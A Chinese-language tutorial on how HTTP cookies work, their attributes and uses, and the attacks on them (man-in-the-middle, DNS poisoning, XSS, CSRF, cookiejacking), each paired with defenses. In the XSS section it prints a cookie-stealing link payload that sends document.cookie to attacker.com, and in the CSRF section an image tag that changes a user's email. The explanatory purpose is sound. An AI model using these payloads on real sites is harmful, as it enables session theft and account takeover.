Cookie(也叫HTTP cookie,web cookie)是保存在浏览器中的一小块数据(不超过4K)。HTTP协议是无状态的,因此cookie最初被设计来帮助网站保存一些状态信息,或者用户的一些操作历史。 比如基于cookie实现的前端购物车(现在通常会用local storage来替代cookie),或者结合session来实现用户登录状态,亦或者是保留用户在网站上填写的表单信息方便下次输入。
cookie原理
如何设置cookie
- cookie的基于HTTP头:Set-Cookie来实现,web服务器会在http响应中携带该头。浏览器在响应头中发现Set-Cookie后,会将其存储在本地cookie中,并在后面的请求中携带中携带这个些cookie数据。如同图中的「1」「2」「3」所示
- cookie仅会在相同的domain请求下被携带,当访问与该cookie不同domain下的资源时,浏览器不会携带此cookie。如图中「4」「5」所示
- 在请求中是否携带域名下的cookie与当前打开的网站无关,而与请求的url有关。如图中「6」所示:当用户访问b.com时,请求了一张放在a.com服务器上的图片,此请求中会携带之前用户访问a.com时保存的cookie。
- 攻击者利用该特性构造CSRF攻击,在后面的安全问题中会谈到
- 在js中,使用docment.cookie能且仅能获取当前网站的cookie。在上图中,b.com中执行docment.cookie是无法获取到a.com中的cookie的。但这并不影响在b.com中访问a.com的资源时,浏览器为该请求带上a.com的cookie。
- document.cookie 仅能获取当前执行js域名下的cookie,这是浏览器对js的cookie访问权限设定
- 浏览器会为请求携带上保存在浏览器中的当前域名下所有可使用的cookie,即在b.com中访问a.com的资源时浏览器会使用a.com的cookie。这是浏览器访问cookie的权限,这两种权限不要弄混。
同源策略
cookie常常被用于存储用户的私有信息,所以为了保证隐私安全,防止cookie信息被盗取,浏览器施行了同源政策。只有当各个网络访问满足同源策略时,才允许共享cookie信息。 所谓的「同源」指的是:
- 协议相同
- 域名相同
- 端口相同
http:// www.test.com :80/xxxxxx
------- ------------ ---
| | |
协议 域名 端口
只有当这三者相同时,浏览器才认为是符合同源策略的。 而基于cookie的网络攻击则是通过绕过各种办法绕过同源策略来实施攻击,比如XSS、CSRF攻击,具体的例子将在后面的安全问题一节中谈到。
cookie的属性
下面是一个例子,用户访问docs.foo.com后,服务端返回的响应头
HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Domain & path
控制cookie的生效范围
- domain即域名,path即路径,cookie只能在指定的domain和path下使用。
- 当domain不被指定是,默认是当前的域名(不包含子域名);当path不被指定时,默认是域名下所有的路径'/'。
- 在上面的例子中,第一个cookie:LSID,没有指定domain且指定了Path=/accounts,所以只有当请求docs.foo.com/accounts下的资源时,才会携带该cookie。
- 而对于HSID和SSID这两个cookie,在访问foo.com及其下的所有子域名都可以被使用。注意这里域名前的「.」是可选的,.foo.com与foo.com作用一样。
Expires & Max-Age
控制cookie的有效时间
- Expires和Max-Age 用来指定cookie的超时时间,前者用来指定具体的cookie超时时间,后者用来指定cookie的超时间隔。
- 如果不指定,则在用户关闭浏览器时会删除cookie。
Secure & HttpOnly
cookie的安全策略
- Secure指定cookie必须在https请求中才能携带
- HttpOnly禁止前端使用js操作cookie,document.cookie将不能获取到cookie值
- 具体应用在后面的cookie安全问题中会讲到
cookie的用途
按照用途,cookie可分为3类:
- 会话管理
- 个性化
- 用户跟踪(广告)
来看一个典型的场景
在这个场景中,用户的浏览器中同时保存了上述的三种cookie
会话管理
图中交互[3][4][5],购物车场景
- 用户首次访问购物网站,网站server为用户生成了一个sessionId,并在响应中携带Set-Cookie: sessionId=123; Expires=Tue, 15 Jan 2021 21:47:38 GMT;。
- 浏览器收到服务端的响应,从响应中获取到Set-Cookie,将sessionId=123存储浏览器cookie中。由于Set-Cookie中携带了Expires属性,浏览器同时为该cookie设置过期时间(如果没有Expires属性,浏览器会把该cookie作为session cookie处理,当用户关闭浏览器时,该cookie会被删除)
- 用户将一个iphone商品加入购物车,浏览器会将此购物车操作发送给server,并且在该请求中的cookie中自动携带上sessionId=123。server会记住sessionId=123的用户在购物车中添加了一个iphone
- 用户然后关闭了该购物网站
- 数小时后,用户再此打开此购物网站并访问购物车,网站从后端请求购物车数据。浏览器查找本地cookie,发现保存了此网站sessionId=123的有效cookie,浏览器在网站请求头中附带自动附带sessionId=123的cookie。
- 服务端收到购物车查询请求,并获从请求头中获取到sessionId=123,服务器查找内存中的id=123的session,发现有此用户的购物车商品数据(一台iphone)。服务器将此数据返回给前端。
- 用户在购物车中看到了自己上次访问网站是添加的iphone,选中此商品完成结算。
个性化
图中交互[1],个性化设置
- 用户访问购物网站,浏览商品列表,切换列表展示模式为大图模式,网站将此设置到cookie中
- 用户关闭网站
- 一天后用 户再次打开网站,网站读取cookie数据(document.cookie),获取到用户的列表模式设置为大图模式后,网站将商品列表以大图模式展示
用户跟踪(广告投放)
图中交互[2][6][7][8][9]
- 购物网站接入了广告平台sdk(百度广告sdk),并在广告平台上付费开通了广告投放
- 用户访问购物网站,会自动请求广告平台的资源(一般是请求一张广告平台的gif),广告平台sdk为用户生成了一个唯一id: user123,并在资源响应头中携带cookie信息(诸如,Set-Cookie:HMACCOUNT=user123; Path=/; Domain=hm.baidu.com; Expires=Sun, 18 Jan 2038 00:00:00 GMT)
- 网站受到详情后,浏览器会将Set-Cookie中的信息存储在cookie中,注意此cookie的domain属性是广告平台的域名,而不是购物网站的域名,我们将这种cookie称为第三方cookie(third cookie)。
- 用户在购物网站浏览了一些商品后关闭了网站
- 一段时间后,用户浏览了一个视频网站video.com,此视频网站在广告平台上开通了承接广告业务,并接入了广告平台sdk。同样该网站会自动请求广告平台下的资源,浏览器会自动携带之前存储的三方cookie(因为此cookie的domain是广告平台资源的域名)。
- 广告平台收到来自video.com的资源请求,并发现请求头中带上cookie:HMACCOUNT=user123。以此,广告平台识别出此用户是之前访问过购物网站的用户user123。由于购物网站开通了付费广告,此用户被识别为精准用户,当video.com从广告平台拉取广告素材时,会拉到购物网站投放的广告,并展示给用户。
- 用户在video.com观看视频,视频开头插入了一段30秒的广告,广告内容是关于购物网站的优惠活动。
- 用户对此广告推送的活动比较感兴趣,并且本身也是购物网站的用户,有信任基础,于是用户点开广告,进入购物网站领取优惠并购买商品。video.com收到了广告平台发放的CPC广告收入。
例子:淘宝在优酷中投放广告
淘宝中的cookie,cna
优酷中的cookie,cna
cookie带来的安全问题
本节中的安全问题整理自 Wiki about "HTTP cookie"
网络窃听(中间人攻击)
中间人攻击:
- 在网络环境中,客户端与服务端之间的通路上会经过很多节点(wifi路由器,运营商网关),而基于HTTP的传输数据是未经加密的,很容易被攻击者劫持篡改或者截取信息。
- 在上图中,攻击者通过在路由器上部署木马,将路由器的浏览过滤并转发到自己的服务器。(比如将用户访问某银行的请求)
- 攻击者获取到请求数据后,从请求中获取cookie信息,并利用该cookie信息构造恶意请求,比如构造一个转账请求发送给服务器,由于cookie是真实有效的,服务器收到请求后会接受该请求,并执行转账操作导致用户资金进入攻击者的账户。
防御方法:
- 网站使用https来传输数据
- 服务端在Set-Cookie中设置secure属性,指示浏览器必须在使用https的请求中才能携带cookie信息,在http中不携带cookie,避免被攻击者截取破解。
中间人攻击的一个例子:www.cnblogs.com/index-html/…
DNS缓存中毒
攻击流程:
- 攻击者利用DNS服务器,构造一条虚假的DNS记录,通常是被攻击网站的子域名。这里被攻击网站是a.com,攻击者构造的DNS记录是fabric.a.com
- 用户访问a.com后,浏览器中会保存a.com的cookie信息
- 攻击者制作了一张美女图片,访问链接为fabric.a.com/meizi.png,并…
- 由于a.com的cookie没有指定domain,默认会在所有子域名中携带cookie,因此当用户访问该图片时,携带了a.com下的所有cookie,发送给了攻击者伪造的服务器
- 攻击者从服务器中获取到用户的cookie,并利用改cookie完成用户信息的盗用
防御方式:
- 网站采用https,并为cookie设置Secure属性
- 如果攻击者伪造的图片是基于Http的,由于Secure属性的存在,a.com下的cookie将不会被携带其中
- 如果攻击者试图构造一张基于Https的图片,由于其无法获取TSL证书,当用户访问该图片时,浏览器会显示该证书非法,访问存在风险,从而帮助用户识别风险。
- DNS服务商采用更有效的安全策略来防止DNS被污染
什么是DNS缓存中毒:www.cloudflare.com/zh-cn/learn…
XSS
Crossing Site Script,跨站脚本,缩写为XSS
XSS是一类网络攻击方式,通常表现为恶意前端脚本注入,通过诱导用户在被攻击网站上执行恶意代码盗取用户的敏感信息。常见的诱导方式有:
- 对于UGC一类的网站(各类论坛、博客,比如知乎,豆瓣,微博,youtube),允许用户在网站发布文章或评论,这里会有潜在的网络风险。攻击者利用网站功能发布一些含有恶意代码的页面,便能构造XSS攻击。
- 通过挖掘网页漏洞注入代码,比如某些网页的搜索结果页会把搜索参数拼在url后面,并把搜索参数现在页面中。攻击者利用此特性,构造含有恶意脚本的搜索url,例如:a.com/search?key=…,然后通过邮件等方式诱导用户点击此链接,从而完成恶意代码注入。
XSS的攻击手段有很多种,这里仅讨论两个利用cookie的场景:
cookie盗用
攻击者通过在目标网站注入恶意脚本来完成cookie盗用
- 攻击者在a.com网站发布包含恶意脚本的文章(网站服务器没有对用户上传的内容做安全校验),如图中,该文章中包含一个按钮「点我看美女」。此按钮实际是一个包含恶意脚本的标签
<a href="#"
onclick="window.location = 'http://attacker.com/stole?text=' + escape(document.cookie); return false;"
>点我看美女</a>
- 用户浏览a.com,点击了含有恶意代码的帖子,触发js脚本,导致浏览器携带cookie访问attacker.com
window.location = 'http://attacker.com/stole?text=' + escape(document.cookie);
return false;
- 在这种攻击方式下,即使a.com使用了https,攻击者仍然能够偷取用户的cookie。
防御方式:
- 在a.com中对cookie设置HttpOnly属性,该属性会禁止前端通过js读取网站的cookie数据,从而防止cookie被盗用。
代理请求
在某些旧版本的浏览器中, 攻击者会利用XMLHttpRequest API的漏洞窃取用户数据
- XMLHttpRequest允许为请求指定一个代理服务器,攻击者利用脚本注入,构造一个请求a.com/resource,并为…
- 由于通过XHR设置代理的请求,不受同源策略的影响,浏览器会在该请求中附带a.com下的所有cookie。
- 攻击者在attacker服务器上获取到用户的cookie数据,完成数据盗取。
防御方式:
- 新版本的浏览器修复了此漏洞
- 可以使用HTTPS对请求做端到端加密,即使攻击者拿通过代理拿到了请求数据,也无法请以破解请求中的数据,从而防止信息被盗用。
CSRF
en.wikipedia.org/wiki/Cross-… Crossing Site Request Forgery,跨站请求伪造,缩写CSRF或XSRF
虽然不如XSS问题普遍,CSRF也是一种常见且有效的网站攻击方式。
可以把CSRF理解为某种意义上的代理人攻击,本质上是因为用户在某个网站的鉴权信息由浏览器掌管,攻击者骗取浏览器的信任,让浏览器为攻击者的伪造请求附上鉴权信息,从而使得伪造的请求被服务器信任,达到操作用户数据的目的。 这种攻击方式下,用户往往是不感知的,甚至不需要用户在网页上做任何交互。
CSRF攻击有两类:
- 从站外发起的攻击
- 攻击者通过邮件等方式诱导用户访问攻击者网站:attacker.com,攻击者在此网站中部署了恶意脚本,直接请求目标网站a.com的接口(比如修改邮箱),由于用户在浏览器中登录了a.com,导致浏览器为伪造的请求携带真实的用户鉴权cookie。服务端收到请求后,以为是真实用户的请求而接受了攻击者的操作。
- 这种攻击方式通常可以使用同源策略来避免
- 从站内发起的攻击
- 攻击者通过在目标网站发布图片(或含有隐藏form的文章等),在目标网站植入伪造的请求(比如修改邮箱),当用户访问该图片时,自动触发该请求,从而冒用用户身份完成操作。
- 由于发起方是a.com,此种方式不受同源策略的限制,比站外攻击方式更危险。
- 可以使用双重cookie校验来防范
_
CSRF与XSS的区别
Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.
- CSRF exploits the trust that a site has in a user's browser
- 利用网站对用户(浏览器)的信任,攻击者冒用户身份(攻击者通常不能获取用户cookie)滥用网站的请求(转账、修改密码、修改邮箱等)
- XSS exploits the trust a user has for a particular site
- 利用用户对特定网站的信任,执行了攻击者在网站上注入的恶意脚本,导致信息被攻击者获取
利用图片的站内CSRF攻击
攻击者在目标网站上发布一张图片
<img src="https://a.com/updateEmail?newEmail=attacker@qq.com">
当用户访问网站时,无论用户是否操作,网站会自动加载这张图片,从而利用用户身份执行危险的修改用户邮箱请求:
GET http://a.com/updateEmail?newEmail=attacker@qq.com
由于此请求是在用户的浏览器中发起的,会携带用户的有效cookie信息,从而在用户不知情的情况下修改用户邮箱。
在这个案例中,a.com的开发者有几点是可以改进的:
- 由于Get攻击很容易构造,比如使用一张图片,用户在不做任何交互的情况下,都会触发攻击。所以需要保证网站中所有的Get请求是数据安全的,不要使用Get请求修改数据状态。对于修改数据的请求,尽量使用POST
- 双重cookie校验(Double Submit Cookie),即后端在cookie中注入一个随机的csrf_token,并要求前端请求的body中需要携带与cookie中相同的csrf_token,由于CSRF攻击者无法获取cookie的实际值,从而无法在请求参数中构造正确的csrf_token
cookie劫持
在IE上,由于拖拽接口(Drag-Drop)不受同源策略的限制,攻击者可以实施拖拽劫持。 具体实现可参考这篇文章 blog.csdn.net/m0_38103658…
Valotta为了验证该漏洞,在Facebook上发布了一个美女脱衣服的游戏,结果150个好友有80个中招。
互联网安全研究人员名为罗萨里奥·瓦罗塔(Rosario Valotta),他将上述黑客技术称作是从Cookie劫持(Cookiejacking)。 瓦罗塔说:“Cookiejacking无所不能,不论是任何网站、任何Cookie文件,一切超乎想象。” 瓦罗塔称,黑客可以利用IE浏览器上的漏洞访问浏览器内部的Cookie数据文件,后者包含了网站账户上的登录名和密码。一旦黑客得到Cookie文件,他们就可以登录到对应的网站中。 瓦罗塔称,此次安全漏洞将影响到所有Windows系统版本上的所有IE版本浏览器,包括微软新推出的IE9。 为了利用这个漏洞,黑客需要在IE浏览器的Cookie前诱使用户在PC屏幕上拖拽某个对象。这听起来似乎是一个艰难的任务,但瓦罗塔称他能轻松实现这一目标。瓦罗塔在Facebook上设置了一个谜题,解答出该谜题的用户就能够看到一位美丽女子的裸照,瓦罗塔说:“我把这个游戏放在了Facebook上,结果不到3天的时间内,有超过80份Cookie文件发到了我的服务器上,而且这还是我的Facebook上只有150位朋友的前提下。”
小结
由于HTTP协议的无状态特性,设计了cookie来保存用户状态,它由web服务器通过Set-Cookie响应头来发起,由浏览器保存,并且浏览器会为相同domain下的请求附带上cookie数据。 cookie为不进为网站提供了会话管理以及个性化定制的能力,也为广告商提供了有效的用户跟踪方法,在网站中被广泛使用。 cookie在为web带来便利的同时,也为攻击者提供了安全漏洞,他们可以通过XSS或CSRF等手段,来窃取或冒用用户身份,从而盗取用户信息。网站开发者需要重视cookie安全漏洞带来的隐私泄露问题,从多个方面做好防范,包括但不限于:
- 使用https协议
- 禁止跨域请求
- 为cookie设置安全属性:Secure,HttpOnly
- 对用户提交到后端的数据做好安全过滤,防止注入脚本